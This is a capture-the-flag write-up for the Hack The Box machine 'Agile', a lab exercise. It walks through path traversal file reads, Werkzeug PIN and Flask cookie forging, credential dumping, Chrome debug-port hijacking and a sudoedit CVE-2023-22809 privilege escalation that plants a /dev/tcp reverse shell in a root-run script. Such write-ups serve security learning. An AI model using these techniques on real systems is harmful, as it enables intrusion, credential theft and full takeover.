Agile Writeup
05 August 2023 #CTF #HTB #box #medium #linuxEnumeration
nmap
$ sudo nmap -sC -sV 10.10.11.203
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
The website is a password manager web app:
We can register an account and create new passwords, etc.
When using the site, you'll most likely encounter this error:
This shows that the application is built with Flask, and since we are seeing this call trace, debug mode is enabled which means we can access a python console:
But it is protected by a PIN...
There is also an export functionality to download our vault as a csv file. When making the request to /vault/export
, we are redirected to a new /download
endpoint:
This seems like a really good candidate for a file disclosure vulnerability:
Indeed, we can read files on the server (you still need a valid account to hit this endpoint).
Foothold
Forge Werkzeug Console PIN
The PIN used to protect the Werkzeug console is generated by using some values available locally. This hacktricks page explains it pretty well.
We need a few things:
- User running the process
- Module name which is pretty much always going to be
flask.app
- Class name
- Absolute path of Flask's
app.py
- MAC address of the interface in decimal format
/etc/machine-id
+ the content of/proc/self/cgroup
after the last/
We can get some of what we want by triggering an error in the app (in this case i looked for a file that doesn't exist):
We get the full path of Flask's app.py
as well as the class name which is wsgi_app
. If you run Flask by itself, the class name will be Flask
, but here the app is running via a production server like gunicorn, so the name changes.
We'll get the rest of what we need through the file disclosure. We can get the current username in /proc/self/environ
:
$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../proc/self/environ' | sed 's/\x00/\n/g'
LANG=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/var/www
LOGNAME=www-data
USER=www-data
INVOCATION_ID=768bcb5f4dd8403a8d049f194a7399e3
JOURNAL_STREAM=8:32200
SYSTEMD_EXEC_PID=1074
CONFIG_PATH=/app/config_prod.json
We are running as www-data
.
To get the MAC address, we first need to know the name of the network interface. We'll find it in /proc/net/arp
:
$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../proc/net/arp'
IP address HW type Flags HW address Mask Device
10.10.10.2 0x1 0x2 00:50:56:b9:ee:c2 * eth0
Nice, now let's read /sys/class/net/eth0/address
:
$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../sys/class/net/eth0/address'
00:50:56:b9:1d:9d
We need to have it in decimal format:
$ echo $((0x005056b91d9d))
345052355997
And finally, we'll get /etc/machine-id
and /proc/self/cgroup
:
$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../etc/machine-id'
ed5b159560f54721827644bc9b220d00
$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../proc/self/cgroup'
0::/system.slice/superpass.service
We only want what's after the last /
in /proc/self/cgroup
-> ed5b159560f54721827644bc9b220d00superpass.service
.
Now that we are set, let's use the script for the hacktricks page to generate the PIN:
$ python genpin.py
576-263-611
Bonus: unintended (patched)
When the box was released, there was a hardcoded secret key in ../app/app/superpass/app.py
:
[...]
app.config['SECRET_KEY'] = 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'
[...]
(We know the path from looking at /proc/self/environ
).
That secret is used to sign cookies, so we could just forge our own cookie to impersonate other users:
flask-unsign -s --secret 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD' -c "{'_fresh': True, '_id': 'b65517587dbc4fab581453f7ec54db73d1a3b4f4185271f530244274fa2bfdea5bc405490cc690110fa7e2c2699c53317478867e4838c1d51b3ecf25d89e312d', '_user_id': '2'}"
With "_user_id": "2"
, we get access to the vault of the "Corum" user, and we can use one of his passwords to SSH in.
Now if you check, it's just random bytes:
[...]
app.config['SECRET_KEY'] = os.urandom(32)
[...]
Privesc
www-data to Corum
We can find the DB creds in /app/config_prod.json
:
www-data@agile:/app$ ls -lh
total 24K
drwxr-xr-x 5 corum runner 4.0K Feb 8 16:29 app
drwxr-xr-x 9 runner runner 4.0K Feb 8 16:36 app-testing
-r--r----- 1 dev_admin www-data 88 Jan 25 2023 config_prod.json
[...]
www-data@agile:/app$ cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
Let's connect to the DB and dump passwords:
www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'
[...]
mysql> use superpass
mysql> show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords |
| users |
+---------------------+
2 rows in set (0.00 sec)
mysql> select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)
We can log in as Corum with 5db7caa1d13cc37c9fc2.
Corum to Edwards
After uploading and running pspy
, we can see some interesting processes:
CMD: UID=1001 PID=30987 | /usr/bin/google-chrome --remote-debugging-port=41829 --crash-dumps-dir=/tmp --disable-background-networking --enable-automation --headless
[...]
CMD: UID=1001 PID=31168 | /bin/bash /app/test_and_update.sh
[...]
CMD: UID=0 PID=1293 | /bin/bash -c source /app/venv/bin/activate
It's interesting to note that Google Chrome is running with a remote debugging port which means we can control this browser from another process (for example using selenium).
Let's take a look at /app/test_and_update.sh
:
#!/bin/bash
# update prod with latest from testing constantly assuming tests are passing
echo "Starting test_and_update"
date
# if already running, exit
ps auxww | grep -v "grep" | grep -q "pytest" && exit
echo "Not already running. Starting..."
# start in dev folder
cd /app/app-testing
# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate
# run tests, exit if failure
pytest -x 2>&1 >/dev/null || exit
# tests good, update prod (flask debug mode will load it instantly)
cp -r superpass /app/app/
echo "Complete!"
This cron job periodically runs tests on the testing version of the app, and if they pass, the test version overwrites the production version (this is why we get the MySQL error when using the site).
It's using the pytest framework with selenium in order to test the website as if it was a real user (like logging in, adding a password, ...):
import os
import pytest
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
username, password = f.read().strip().split(':')
@pytest.fixture(scope="session")
def driver():
options = Options()
#options.add_argument("--no-sandbox")
options.add_argument("--window-size=1420,1080")
options.add_argument("--headless")
options.add_argument("--remote-debugging-port=41829")
options.add_argument('--disable-gpu')
options.add_argument('--crash-dumps-dir=/tmp')
driver = webdriver.Chrome(options=options)
yield driver
driver.close()
def test_login(driver):
print("starting test_login")
driver.get('http://test.superpass.htb/account/login')
[...]
We'll write a quick and dirty python script to connect to this remote Chrome instance and go to http://test.superpass.htb/vault
to see if there are any passwords:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
options = Options()
options.add_argument("--headless")
options.add_argument('--disable-gpu')
options.add_argument('--crash-dumps-dir=/tmp')
options.add_experimental_option("debuggerAddress", "127.0.0.1:41829")
driver = webdriver.Chrome(options=options)
driver.get("http://test.superpass.htb/vault")
print(driver.page_source)
Run it:
corum@agile:~$ python3 stealpass.py
[...]
<thead>
<tr>
<th></th>
<th scope="col" width="30%">Site</th>
<th scope="col" width="30%">Username</th>
<th scope="col" width="30%">Password</th>
</tr>
</thead>
<tbody hx-target="closest tr" hx-swap="outerHTML swap:.25s">
<tr class="password-row">
<td>
<a hx-get="/vault/edit_row/1" hx-include="closest tr"><i class="fas fa-edit"></i></a>
<a hx-delete="/vault/delete/1"><i class="fa-solid fa-trash"></i></a>
</td>
<td>agile</td>
<td>edwards</td>
<td>d07867c6267dcb5df0af</td>
</tr>
<tr class="password-row">
<td>
<a hx-get="/vault/edit_row/2" hx-include="closest tr"><i class="fas fa-edit"></i></a>
<a hx-delete="/vault/delete/2"><i class="fa-solid fa-trash"></i></a>
</td>
<td>twitter</td>
<td>dedwards__</td>
<td>7dbfe676b6b564ce5718</td>
</tr>
[...]
We can login as Edwards with d07867c6267dcb5df0af.
Edwards to root
Edwards can run sudo
:
edwards@agile:~$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
More specifically, we are only able to edit these 2 files as the "dev_admin" user.
The sudo
version (1.9.9) is vulnerable to CVE-2023-22809.
TL;DR: by appending --
to the EDITOR
environment variable, we can edit arbitrary files as "dev_admin".
We saw earlier when running pspy
that there is a cron job running as root that is sourcing /app/venv/bin/activate
It turns out this file writable by the dev_admin
group:
edwards@agile:/app$ ls -lh /app/venv/bin
total 1.4M
-rw-r--r-- 1 root dev_admin 8.9K Aug 2 16:39 Activate.ps1
-rw-rw-r-- 1 root dev_admin 2.0K Aug 2 16:39 activate
[...]
We'll add a reverse shell payload at the start of the file using the sudo
exploit:
edwards@agile:~$ EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin -g dev_admin /app/config_test.json
edwards@agile:~$ head /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
bash -c 'bash -i >& /dev/tcp/10.10.14.27/443 0>&1'
deactivate () {
# reset old environment variables
if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
PATH="${_OLD_VIRTUAL_PATH:-}"
export PATH
unset _OLD_VIRTUAL_PATH
Now we wait 1 or 2 minutes for the cron job to run and we should get our root shell:
$ nc -lnvp 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.203:54932.
bash: cannot set terminal process group (3654): Inappropriate ioctl for device
bash: no job control in this shell
root@agile:~#
Key Takeaways
- Werkzug debug is annoying
- Chrome debug port is pretty cool